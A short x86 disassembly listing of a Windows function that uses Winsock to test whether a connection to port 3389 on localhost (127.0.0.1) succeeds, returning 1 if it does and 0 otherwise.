push str.127.0.0.1
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x18], eax
push 0xd3d
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1a], ax
push 0x10
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 8]
call dword [sym.imp.WS2_32.dll_connect]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x41be4b
push dword [ebp - 8]
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [ebp - 4], eax
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x41be70
push dword [ebp - 8]
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x41be67
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x41be70
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
inc eax
leave
ret